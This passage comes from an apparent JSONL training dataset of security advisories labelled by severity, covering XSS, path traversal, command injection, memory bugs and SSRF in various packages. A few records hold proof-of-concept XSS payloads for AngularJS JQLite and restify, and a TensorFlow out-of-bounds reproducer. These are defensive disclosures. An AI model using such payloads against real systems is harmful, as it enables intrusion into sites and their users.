(e.g. with [DOMPurify](https://github.com/cure53/DOMPurify)), the transformation done by JQLite may modify some forms of an inert, sanitized payload into a payload containing JavaScript - and trigger an XSS when the payload is inserted into DOM.\n\nThis is similar to a bug in jQuery `htmlPrefilter` function that was [fixed in 3.5.0](https://blog.jquery.com/2020/04/10/jquery-3-5-0-released/).\n\n### Proof of concept\n\n```javascript\nconst inertPayload = `<div><style><style/><img src=x onerror=\"alert(1337)\"/>` \n```\nNote that the style element is not closed and `<img` would be a text node inside the style if inserted into the DOM as-is.\nAs such, some HTML sanitizers would leave the `<img` as is without processing it and stripping the `onerror` attribute.\n\n```javascript\nangular.element(document).append(inertPayload);\n```\nThis will alert, as `<style/>` will be replaced with `<style></style>` before adding it to the DOM, closing the style element early and reactivating `img`.\n\n### Patches\nThe issue is patched in `JQLite` bundled with angular 1.8.0. AngularJS users using JQuery should upgrade JQuery to 3.5.0, as a similar vulnerability [affects jQuery <3.5.0](https://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2).\n\n### Workarounds\nChanging sanitizer configuration not to allow certain tag grouping (e.g. `<option><style></option>`) or inline style elements may stop certain exploitation vectors, but it's uncertain if all possible exploitation vectors would be covered. Upgrade of AngularJS to 1.8.0 is recommended.\n\n### References\nhttps://github.com/advisories/GHSA-mhp6-pxh8-r675\nhttps://github.com/jquery/jquery/security/advisories/GHSA-gxr4-xjj5-5px2\nhttps://github.com/jquery/jquery/security/advisories/GHSA-jpcq-cgw6-v4j6\nhttps://blog.jquery.com/2020/04/10/jquery-3-5-0-released/\nhttps://snyk.io/vuln/SNYK-JS-ANGULAR-570058", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-08-05", "split": "train"}
-{"id": "5c05e92575d61a27601a", "text": "simplehttpserver allows directory traversal and file listing\n\nPath traversal in simplehttpserver <v0.2.1 allows listing any file on the server.", "text_raw": "simplehttpserver allows directory traversal and file listing\n\n[Severity: HIGH]\n\nPath traversal in simplehttpserver <v0.2.1 allows listing any file on the server.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-09-06", "split": "train"}
-{"id": "8729a24bcf6ef9638feb", "text": "Improper Input Validation in org.apache.qpid:qpid-broker\n\nPlainSaslServer.java in Apache Qpid Java before 6.0.3, when the broker is configured to allow plaintext passwords, allows remote attackers to cause a denial of service (broker termination) via a crafted authentication attempt, which triggers an uncaught exception.", "text_raw": "Improper Input Validation in org.apache.qpid:qpid-broker\n\n[Severity: MEDIUM]\n\nPlainSaslServer.java in Apache Qpid Java before 6.0.3, when the broker is configured to allow plaintext passwords, allows remote attackers to cause a denial of service (broker termination) via a crafted authentication attempt, which triggers an uncaught exception.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "f6509b054067082d16bc", "text": "Teradek Slice 7.3.15 (snapshot.cgi) Stream Disclosure", "text_raw": "Teradek Slice 7.3.15 (snapshot.cgi) Stream Disclosure\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2018-05-21", "split": "train"}
-{"id": "f6b2b85cc040f69bb917", "text": "Command Injection in gm\n\nVersions of `gm` prior to 1.21.1 are affected by a command injection vulnerability. The vulnerability is triggered when user input is passed into `gm.compare()`, which fails to sanitize input correctly before calling the graphics magic binary.\n\n## Recommendation\n\nUpdate to version 1.21.1 or later.", "text_raw": "Command Injection in gm\n\n[Severity: CRITICAL]\n\nVersions of `gm` prior to 1.21.1 are affected by a command injection vulnerability. The vulnerability is triggered when user input is passed into `gm.compare()`, which fails to sanitize input correctly before calling the graphics magic binary.\n\n\n## Recommendation\n\nUpdate to version 1.21.1 or later.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "568c617df6aae91f82ec", "text": "Exploitable inventory component chaining in PocketMine-MP\n\n### Impact\nSpecially crafted `InventoryTransactionPacket`s sent by malicious clients were able to exploit the behaviour of `InventoryTransaction->findResultItem()` and cause it to take an abnormally long time to execute (causing an apparent server freeze).\n\nThe affected code is intended to compact conflicting `InventoryActions` which are in the same `InventoryTransaction` by flattening them into a single action. When multiple pathways to a result existed, the complexity of this flattening became exponential.\n\nThe problem was fixed by bailing when ambiguities are detected.\n\n**At the time of writing, this exploit is being used in the wild by attackers to deny service to servers.**\n\n### Patches\nUpgrade to 3.15.4 or newer.\n\n### Workarounds\nNo practical workarounds are possible, short of backporting the fix or implementing checks in a plugin listening to `DataPacketReceiveEvent`.\n\n### References\nc368ebb5e74632bc622534b37cd1447b97281e20\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [team@pmmp.io](mailto:team@pmmp.io)", "text_raw": "Exploitable inventory component chaining in PocketMine-MP\n\n[Severity: HIGH]\n\n### Impact\nSpecially crafted `InventoryTransactionPacket`s sent by malicious clients were able to exploit the behaviour of `InventoryTransaction->findResultItem()` and cause it to take an abnormally long time to execute (causing an apparent server freeze).\n\nThe affected code is intended to compact conflicting `InventoryActions` which are in the same `InventoryTransaction` by flattening them into a single action. When multiple pathways to a result existed, the complexity of this flattening became exponential.\n\nThe problem was fixed by bailing when ambiguities are detected.\n\n**At the time of writing, this exploit is being used in the wild by attackers to deny service to servers.**\n\n### Patches\nUpgrade to 3.15.4 or newer.\n\n### Workarounds\nNo practical workarounds are possible, short of backporting the fix or implementing checks in a plugin listening to `DataPacketReceiveEvent`.\n\n### References\nc368ebb5e74632bc622534b37cd1447b97281e20\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [team@pmmp.io](mailto:team@pmmp.io)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-11-11", "split": "train"}
-{"id": "0d2ec75b3230c7a5b02c", "text": "Prototype Pollution in safe-object2\n\nAll versions of package safe-object2 are vulnerable to Prototype Pollution via the setter function.", "text_raw": "Prototype Pollution in safe-object2\n\n[Severity: CRITICAL]\n\nAll versions of package safe-object2 are vulnerable to Prototype Pollution via the setter function.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-06", "split": "train"}
-{"id": "a29d8bddf28a12dae23e", "text": "Improper Restriction of Operations within the Bounds of a Memory Buffer in Google TensorFlow\n\nInvalid memory access and/or a heap buffer overflow in the TensorFlow XLA compiler in Google TensorFlow before 1.7.1 could cause a crash or read from other parts of process memory via a crafted configuration file.", "text_raw": "Improper Restriction of Operations within the Bounds of a Memory Buffer in Google TensorFlow\n\n[Severity: HIGH]\n\nInvalid memory access and/or a heap buffer overflow in the TensorFlow XLA compiler in Google TensorFlow before 1.7.1 could cause a crash or read from other parts of process memory via a crafted configuration file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-04-30", "split": "train"}
-{"id": "f913bae2e2d0ac04873b", "text": "Cross-site Scripting in PiranhaCMS\n\nIn PiranhaCMS, versions 7.0.0 to 9.1.1 are vulnerable to stored XSS due to the page title improperly sanitized. By creating a page with a specially crafted page title, a low privileged user can trigger arbitrary JavaScript execution.", "text_raw": "Cross-site Scripting in PiranhaCMS\n\n[Severity: MEDIUM]\n\nIn PiranhaCMS, versions 7.0.0 to 9.1.1 are vulnerable to stored XSS due to the page title improperly sanitized. By creating a page with a specially crafted page title, a low privileged user can trigger arbitrary JavaScript execution. ", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-10-27", "split": "train"}
-{"id": "087fe9ca2f6863400c6b", "text": "[thi.ng/egf] Potential arbitrary code execution of `#gpg`-tagged property values\n\n### Impact\n\nPotential for arbitrary code execution in `#gpg`-tagged property values (only if `decrypt: true` option is enabled)\n\n### Patches\n\n[A fix](https://github.com/thi-ng/umbrella/commit/3e14765d6bfd8006742c9e7860bc7d58ae94dfa5) has already been released as v0.4.0\n\n### Workarounds\n\nBy default, EGF parse functions do NOT attempt to decrypt values (since GPG is only available in non-browser env).\n\nHowever, if GPG encrypted values are used/required:\n\n1. Perform a regex search for `#gpg`-tagged values in the EGF source file/string and check for backtick (\\`) chars in the encrypted value string\n2. Replace/remove them or skip parsing if present...\n\n### References\n\nhttps://github.com/thi-ng/umbrella/security/advisories/GHSA-rj44-gpjc-29r7#advisory-comment-65261\n\n### For more information\n\nIf you have any questions or comments about this advisory, please open an issue in the [thi.ng/umbrella repo](https://github.com/thi-ng/umbrella/issues), of which this package is part of.", "text_raw": "[thi.ng/egf] Potential arbitrary code execution of `#gpg`-tagged property values\n\n[Severity: MEDIUM]\n\n### Impact\n\nPotential for arbitrary code execution in `#gpg`-tagged property values (only if `decrypt: true` option is enabled)\n\n### Patches\n\n[A fix](https://github.com/thi-ng/umbrella/commit/3e14765d6bfd8006742c9e7860bc7d58ae94dfa5) has already been released as v0.4.0\n\n### Workarounds\n\nBy default, EGF parse functions do NOT attempt to decrypt values (since GPG is only available in non-browser env).\n\nHowever, if GPG encrypted values are used/required:\n\n1. Perform a regex search for `#gpg`-tagged values in the EGF source file/string and check for backtick (\\`) chars in the encrypted value string\n2. Replace/remove them or skip parsing if present...\n\n### References\n\nhttps://github.com/thi-ng/umbrella/security/advisories/GHSA-rj44-gpjc-29r7#advisory-comment-65261\n\n### For more information\n\nIf you have any questions or comments about this advisory, please open an issue in the [thi.ng/umbrella repo](https://github.com/thi-ng/umbrella/issues), of which this package is part of.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-06", "split": "train"}
-{"id": "900896cca4a7d788b692", "text": "Oreans WinLicense v2.1.8.0 XML File Handling Unspecified Memory Corruption", "text_raw": "Oreans WinLicense v2.1.8.0 XML File Handling Unspecified Memory Corruption\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2012-03-20", "split": "train"}
-{"id": "14035aeaffe1a608d002", "text": "Improper Input Validation in pip\n\nA flaw was found in python-pip in the way it handled Unicode separators in git references. A remote attacker could possibly use this issue to install a different revision on a repository. The highest threat from this vulnerability is to data integrity. This is fixed in python-pip version 21.1.", "text_raw": "Improper Input Validation in pip\n\n[Severity: HIGH]\n\nA flaw was found in python-pip in the way it handled Unicode separators in git references. A remote attacker could possibly use this issue to install a different revision on a repository. The highest threat from this vulnerability is to data integrity. This is fixed in python-pip version 21.1.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-15", "split": "train"}
-{"id": "22a5eefd543c10727f23", "text": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Hard-coded Credentials Shell Access", "text_raw": "KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 Hard-coded Credentials Shell Access\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2021-03-18", "split": "train"}
-{"id": "ffc3e072d712c679ff55", "text": "Rust Failure Crate Vulnerable to Type confusion\n\nSafe Rust code can implement malfunctioning `__private_get_type_id__` and cause type confusion when downcasting, which is an undefined behavior.\n\nUsers who derive Fail trait are not affected.", "text_raw": "Rust Failure Crate Vulnerable to Type confusion\n\n[Severity: CRITICAL]\n\nSafe Rust code can implement malfunctioning `__private_get_type_id__` and cause type confusion when downcasting, which is an undefined behavior.\n\nUsers who derive Fail trait are not affected.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "0f3d7bef2b2169fcf1dd", "text": "Cross-site Scripting in Joplin\n\nAn XSS issue in Joplin desktop allows arbitrary code execution via a malicious HTML embed tag.", "text_raw": "Cross-site Scripting in Joplin\n\n[Severity: MEDIUM]\n\nAn XSS issue in Joplin desktop allows arbitrary code execution via a malicious HTML embed tag.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-07", "split": "train"}
-{"id": "b3504a3c72230f715004", "text": "Zurmo CRM 2.8.5 Multiple Reflected Cross-Site Scripting Vulnerabilities", "text_raw": "Zurmo CRM 2.8.5 Multiple Reflected Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-01-07", "split": "train"}
-{"id": "53ccaae9c167698dd951", "text": "Cross-Site Scripting in simple-markdown\n\nVersions of `simple-markdown` prior to 0.4.4 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization the package may render output containing malicious JavaScript. This vulnerability can be exploited through input of links containing `data` or VBScript URIs and a base64-encoded payload.\n\n## Recommendation\n\nUpgrade to version 0.4.4 or later.", "text_raw": "Cross-Site Scripting in simple-markdown\n\n[Severity: MEDIUM]\n\nVersions of `simple-markdown` prior to 0.4.4 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization the package may render output containing malicious JavaScript. This vulnerability can be exploited through input of links containing `data` or VBScript URIs and a base64-encoded payload.\n\n\n## Recommendation\n\nUpgrade to version 0.4.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "43211332a37d37f04ca4", "text": "Heap OOB access in unicode ops\n\n### Impact\nAn attacker can access data outside of bounds of heap allocated array in `tf.raw_ops.UnicodeEncode`:\n\n```python\nimport tensorflow as tf\n\ninput_values = tf.constant([58], shape=[1], dtype=tf.int32)\ninput_splits = tf.constant([[81, 101, 0]], shape=[3], dtype=tf.int32)\noutput_encoding = \"UTF-8\"\n\ntf.raw_ops.UnicodeEncode(\n    input_values=input_values, input_splits=input_splits,\n    output_encoding=output_encoding)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/472c1f12ad9063405737679d4f6bd43094e1d36d/tensorflow/core/kernels/unicode_ops.cc)\nassumes that the `input_value`/`input_splits` pair specify a valid sparse tensor.\n\n### Patches\nWe have patched the issue in GitHub commit [51300ba1cc2f487aefec6e6631fef03b0e08b298](https://github.com/tensorflow/tensorflow/commit/51300ba1cc2f487aefec6e6631fef03b0e08b298).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "text_raw": "Heap OOB access in unicode ops\n\n[Severity: LOW]\n\n### Impact\nAn attacker can access data outside of bounds of heap allocated array in `tf.raw_ops.UnicodeEncode`:\n\n```python\nimport tensorflow as tf\n\ninput_values = tf.constant([58], shape=[1], dtype=tf.int32)\ninput_splits = tf.constant([[81, 101, 0]], shape=[3], dtype=tf.int32)\noutput_encoding = \"UTF-8\"\n\ntf.raw_ops.UnicodeEncode(\n    input_values=input_values, input_splits=input_splits,\n    output_encoding=output_encoding)\n```\n\nThis is because the [implementation](https://github.com/tensorflow/tensorflow/blob/472c1f12ad9063405737679d4f6bd43094e1d36d/tensorflow/core/kernels/unicode_ops.cc)\nassumes that the `input_value`/`input_splits` pair specify a valid sparse tensor.\n\n### Patches\nWe have patched the issue in GitHub commit [51300ba1cc2f487aefec6e6631fef03b0e08b298](https://github.com/tensorflow/tensorflow/commit/51300ba1cc2f487aefec6e6631fef03b0e08b298).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu X-Team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "f67e23866ce6ed4cc8e1", "text": "AVE DOMINAplus <=1.10.x Authentication Bypass Exploit", "text_raw": "AVE DOMINAplus <=1.10.x Authentication Bypass Exploit\n\nSeverity: critical", "severity": "critical", "severity_label": 3, "source": "zeroscience", "timestamp": "2019-12-27", "split": "train"}
-{"id": "a3f258b150eed986d9b3", "text": "Incorrect Authorization in TYPO3 extension\n\nThe l10nmgr (aka Localization Manager) extension before 7.4.0, 8.x before 8.7.0, and 9.x before 9.2.0 for TYPO3 allows Information Disclosure (translatable fields).", "text_raw": "Incorrect Authorization in TYPO3 extension\n\n[Severity: MEDIUM]\n\nThe l10nmgr (aka Localization Manager) extension before 7.4.0, 8.x before 8.7.0, and 9.x before 9.2.0 for TYPO3 allows Information Disclosure (translatable fields).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-07-26", "split": "train"}
-{"id": "272d52bc3c970254254c", "text": "Server side request forgery in SwaggerUI\n\nSwaggerUI supports displaying remote OpenAPI definitions through the `?url` parameter. This enables robust demonstration capabilities on sites like `petstore.swagger.io`, `editor.swagger.io`, and similar sites, where users often want to see what their OpenAPI definitions would look like rendered.\n\nHowever, this functionality may pose a risk for users who host their own SwaggerUI instances. In particular, including remote OpenAPI definitions opens a vector for phishing attacks by abusing the trusted names/domains of self-hosted instances.\n\nAn example scenario abusing this functionality could take the following form:\n- `https://example.com/api-docs` hosts a version of SwaggerUI with `?url=` query parameter enabled.\n- Users will trust the domain `https://example.com` and the contents of the OpenAPI definition.\n- A malicious actor may craft a similar OpenAPI definition and service that responds to the defined APIs at `https://evildomain`.\n- Users mistakenly click a phishing URL like `https://example.com/api-docs?url=https://evildomain/fakeapi.yaml` and enters sensitive data via the \"Try-it-out\" feature.\n\nWe do want to stress that this attack vector is limited to scenarios that actively trick users into divulging sensitive information. The ease of this is highly contextual and, therefore, the threat model may be different for individual users and organizations. It is *not* possible to perform non-interactive attacks (e.g., cross-site scripting or code injection) through this mechanism.\n\n### Resolution \nWe've made the decision to [disable query parameters (#4872)](https://github.com/swagger-api/swagger-ui/issues/4872) by default starting with SwaggerUI version `4.1.3`. Please update to this version when it becomes available (**ETA: 2021 December**). Users will still be able to be re-enable the options at their discretion. We'll continue to enable query parameters on the Swagger demo sites.\n\n### Workaround\nIf you host a version of SwaggerUI and wish to mitigate this issue immediately, you are encouraged to add the following custom plugin code:\n\n```js\nSwaggerUI({\n  //  ...other configuration options,\n  plugins: [function UrlParamDisablePlugin() {\n    return {\n      statePlugins: {\n        spec: {\n          wrapActions: {\n            // Remove the ?url parameter from loading an external OpenAPI definition.\n            updateUrl: (oriAction) => (payload) => {\n              const url = new URL(window.location.href)\n              if (url.searchParams.has('url')) {\n                url.searchParams.delete('url')\n                window.location.replace(url.toString())\n              }\n              return oriAction(payload)\n            }\n          }\n        }\n      }\n    }\n  }],\n})\n```\n\n### Future UX work\n\nThrough the exploration of this issue, it became apparent that users may not be aware to which web server the Try-it-out function will send requests. While this information is currently presented at the top of the page, understanding may improve by displaying it closer to the \"Execute\" button where requests are actually made. We'll be exploring these UX improvements over the coming months and welcome community input. Please create a Feature Request under the GitHub Issue tab to start a conversation with us and the community.\n\n## Reflected XSS attack\n\n**Warning** in versions < 3.38.0, it is possible to combine the URL options (as mentioned above) with a vulnerability in DOMPurify (https://www.cvedetails.com/cve/CVE-2020-26870/) to create a reflected XSS vector. If your version of Swagger UI is older than 3.38.0, we suggest you upgrade or implement the workaround as mentioned above.", "text_raw": "Server side request forgery in SwaggerUI\n\n[Severity: MEDIUM]\n\nSwaggerUI supports displaying remote OpenAPI definitions through the `?url` parameter. This enables robust demonstration capabilities on sites like `petstore.swagger.io`, `editor.swagger.io`, and similar sites, where users often want to see what their OpenAPI definitions would look like rendered.\n\nHowever, this functionality may pose a risk for users who host their own SwaggerUI instances. In particular, including remote OpenAPI definitions opens a vector for phishing attacks by abusing the trusted names/domains of self-hosted instances.\n\nAn example scenario abusing this functionality could take the following form:\n- `https://example.com/api-docs` hosts a version of SwaggerUI with `?url=` query parameter enabled.\n- Users will trust the domain `https://example.com` and the contents of the OpenAPI definition.\n- A malicious actor may craft a similar OpenAPI definition and service that responds to the defined APIs at `https://evildomain`.\n- Users mistakenly click a phishing URL like `https://example.com/api-docs?url=https://evildomain/fakeapi.yaml` and enters sensitive data via the \"Try-it-out\" feature.\n\nWe do want to stress that this attack vector is limited to scenarios that actively trick users into divulging sensitive information. The ease of this is highly contextual and, therefore, the threat model may be different for individual users and organizations. It is *not* possible to perform non-interactive attacks (e.g., cross-site scripting or code injection) through this mechanism.\n\n### Resolution \nWe've made the decision to [disable query parameters (#4872)](https://github.com/swagger-api/swagger-ui/issues/4872) by default starting with SwaggerUI version `4.1.3`. Please update to this version when it becomes available (**ETA: 2021 December**). Users will still be able to be re-enable the options at their discretion. We'll continue to enable query parameters on the Swagger demo sites.\n\n### Workaround\nIf you host a version of SwaggerUI and wish to mitigate this issue immediately, you are encouraged to add the following custom plugin code:\n\n```js\nSwaggerUI({\n  //  ...other configuration options,\n  plugins: [function UrlParamDisablePlugin() {\n    return {\n      statePlugins: {\n        spec: {\n          wrapActions: {\n            // Remove the ?url parameter from loading an external OpenAPI definition.\n            updateUrl: (oriAction) => (payload) => {\n              const url = new URL(window.location.href)\n              if (url.searchParams.has('url')) {\n                url.searchParams.delete('url')\n                window.location.replace(url.toString())\n              }\n              return oriAction(payload)\n            }\n          }\n        }\n      }\n    }\n  }],\n})\n```\n\n### Future UX work\n\nThrough the exploration of this issue, it became apparent that users may not be aware to which web server the Try-it-out function will send requests. While this information is currently presented at the top of the page, understanding may improve by displaying it closer to the \"Execute\" button where requests are actually made. We'll be exploring these UX improvements over the coming months and welcome community input. Please create a Feature Request under the GitHub Issue tab to start a conversation with us and the community.\n\n## Reflected XSS attack\n\n**Warning** in versions < 3.38.0, it is possible to combine the URL options (as mentioned above) with a vulnerability in DOMPurify (https://www.cvedetails.com/cve/CVE-2020-26870/) to create a reflected XSS vector. If your version of Swagger UI is older than 3.38.0, we suggest you upgrade or implement the workaround as mentioned above.\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "9af79b8d2c930fd4aee6", "text": "Directory traversal in mkdocs\n\nThe mkdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain :sensitive information.", "text_raw": "Directory traversal in mkdocs\n\n[Severity: HIGH]\n\nThe mkdocs 1.2.2 built-in dev-server allows directory traversal using the port 8000, enabling remote exploitation to obtain :sensitive information.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "797d428a54861c5182f2", "text": "Allocation of Resources Without Limits or Throttling in Apache Tika\n\nA carefully crafted package/compressed file that, when unzipped/uncompressed yields the same file (a quine), causes a StackOverflowError in Apache Tika's RecursiveParserWrapper in versions 1.7-1.21. Apache Tika users should upgrade to 1.22 or later.", "text_raw": "Allocation of Resources Without Limits or Throttling in Apache Tika\n\n[Severity: HIGH]\n\nA carefully crafted package/compressed file that, when unzipped/uncompressed yields the same file (a quine), causes a StackOverflowError in Apache Tika's RecursiveParserWrapper in versions 1.7-1.21. Apache Tika users should upgrade to 1.22 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-08-06", "split": "train"}
-{"id": "a4fd9e358cec7ba11ae0", "text": "V-SOL GPON/EPON OLT Platform v2.03 Reflected XSS Vulnerability", "text_raw": "V-SOL GPON/EPON OLT Platform v2.03 Reflected XSS Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2019-09-26", "split": "train"}
-{"id": "bd447e86e51f4f912a3b", "text": "rConfig OS Command Injection Vulnerability\n\nAffected: rConfig rConfig\n\nrConfig lib/ajaxHandlers/ajaxAddTemplate.php contains an OS command injection vulnerability that allows remote attackers to execute OS commands via shell metacharacters in the fileName POST parameter.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "rConfig OS Command Injection Vulnerability\n\nAffected: rConfig rConfig\n\nrConfig lib/ajaxHandlers/ajaxAddTemplate.php contains an OS command injection vulnerability that allows remote attackers to execute OS commands via shell metacharacters in the fileName POST parameter.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-78\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "f922ead4b74ad0729d7d", "text": "Double-free in id-map\n\nA double free can occur in remove_set upon a panic in a Drop impl. When removing a set of elements, ptr::drop_in_place is called on each of the element to be removed. If the Drop impl of one of these elements panics then the previously dropped elements can be dropped again.", "text_raw": "Double-free in id-map\n\n[Severity: CRITICAL]\n\nA double free can occur in remove_set upon a panic in a Drop impl. When removing a set of elements, ptr::drop_in_place is called on each of the element to be removed. If the Drop impl of one of these elements panics then the previously dropped elements can be dropped again.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "c31095f744babea7bb3e", "text": "Rails vulnerable to Cross-site Scripting\n\nThere is an XSS vulnerability in the `number_to_currency`, `number_to_percentage` and `number_to_human` helpers in Ruby on Rails. This vulnerability has been assigned the CVE identifier CVE-2014-0081.\n\nVersions Affected:  All.\nFixed Versions:     4.1.0.beta2, 4.0.3, 3.2.17.\n\nImpact\n------\nThese helpers allows users to nicely format a numeric value. Some of the parameters to the helper (format, negative_format and units) are not escaped correctly. Applications which pass user controlled data as one of these parameters are vulnerable to an XSS attack.\n\nAll users passing user controlled data to these parameters of the number helpers should either upgrade or use one of the workarounds immediately.\n\nReleases\n--------\nThe 4.1.0.rc1, 4.0.3 and 3.2.17 releases are available at the normal locations.\n\nWorkarounds\n-----------\n\nThe workaround for this issue is to escape the value passed to the parameter.\nFor example, replace code like this:\n\n```ruby\n<%= number_to_currency(1.02, format: params[:format]) %>\n```\n\nWith code like this\n\n```ruby\n<%= number_to_currency(1.02, format: h(params[:format])) %>\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 4-1-beta-number_helpers_xss.patch - Patch for 4.1-beta series\n* 4-0-number_helpers_xss.patch - Patch for 4.0 series\n* 3-2-number_helpers_xss.patch - Patch for 3.2 series\n\nPlease note that only the 4.0.x and 3.2.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\n\nThanks to Kevin Reintjes for reporting the issue to us.\n\n-- \nAaron Patterson\nhttp://tenderlovemaking.com/", "text_raw": "Rails vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nThere is an XSS vulnerability in the `number_to_currency`, `number_to_percentage` and `number_to_human` helpers in Ruby on Rails. This vulnerability has been assigned the CVE identifier CVE-2014-0081.\n\nVersions Affected:  All.\nFixed Versions:     4.1.0.beta2, 4.0.3, 3.2.17.\n\nImpact\n------\nThese helpers allows users to nicely format a numeric value. Some of the parameters to the helper (format, negative_format and units) are not escaped correctly. Applications which pass user controlled data as one of these parameters are vulnerable to an XSS attack.\n\nAll users passing user controlled data to these parameters of the number helpers should either upgrade or use one of the workarounds immediately.\n\nReleases\n--------\nThe 4.1.0.rc1, 4.0.3 and 3.2.17 releases are available at the normal locations.\n\nWorkarounds\n-----------\n\nThe workaround for this issue is to escape the value passed to the parameter.\nFor example, replace code like this:\n\n```ruby\n<%= number_to_currency(1.02, format: params[:format]) %>\n```\n\nWith code like this\n\n```ruby\n<%= number_to_currency(1.02, format: h(params[:format])) %>\n```\n\nPatches\n-------\nTo aid users who aren't able to upgrade immediately we have provided patches for the two supported release series. They are in git-am format and consist of a single changeset.\n\n* 4-1-beta-number_helpers_xss.patch - Patch for 4.1-beta series\n* 4-0-number_helpers_xss.patch - Patch for 4.0 series\n* 3-2-number_helpers_xss.patch - Patch for 3.2 series\n\nPlease note that only the 4.0.x and 3.2.x series are supported at present. Users of earlier unsupported releases are advised to upgrade as soon as possible as we cannot guarantee the continued availability of security fixes for unsupported releases.\n\nCredits\n-------\n\nThanks to Kevin Reintjes for reporting the issue to us.\n\n-- \nAaron Patterson\nhttp://tenderlovemaking.com/\n", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "e379cf39d83c53cea79e", "text": "Cross-Site Scripting (XSS) in restify\n\nAffected versions of `restify` are susceptible to a cross-site scripting vulnerability when using URL encoded script tags in a non-existent URL.\n\n## Proof of Concept:\n\nRequest\n```\nhttps://localhost:3000/no5_such3_file7.pl?%22%3E%3Cscript%3Ealert(73541);%3C/script%3E\n```\n\nWill be included in response:\n\n```<script>alert(73541);</script>```\n\n## Recommendation\n\nUpdate to version 4.1.0 or later.", "text_raw": "Cross-Site Scripting (XSS) in restify\n\n[Severity: MEDIUM]\n\nAffected versions of `restify` are susceptible to a cross-site scripting vulnerability when using URL encoded script tags in a non-existent URL.\n\n## Proof of Concept:\n\nRequest\n```\nhttps://localhost:3000/no5_such3_file7.pl?%22%3E%3Cscript%3Ealert(73541);%3C/script%3E\n```\n\nWill be included in response:\n\n```<script>alert(73541);</script>```\n\n\n## Recommendation\n\nUpdate to version 4.1.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-11-09", "split": "train"}
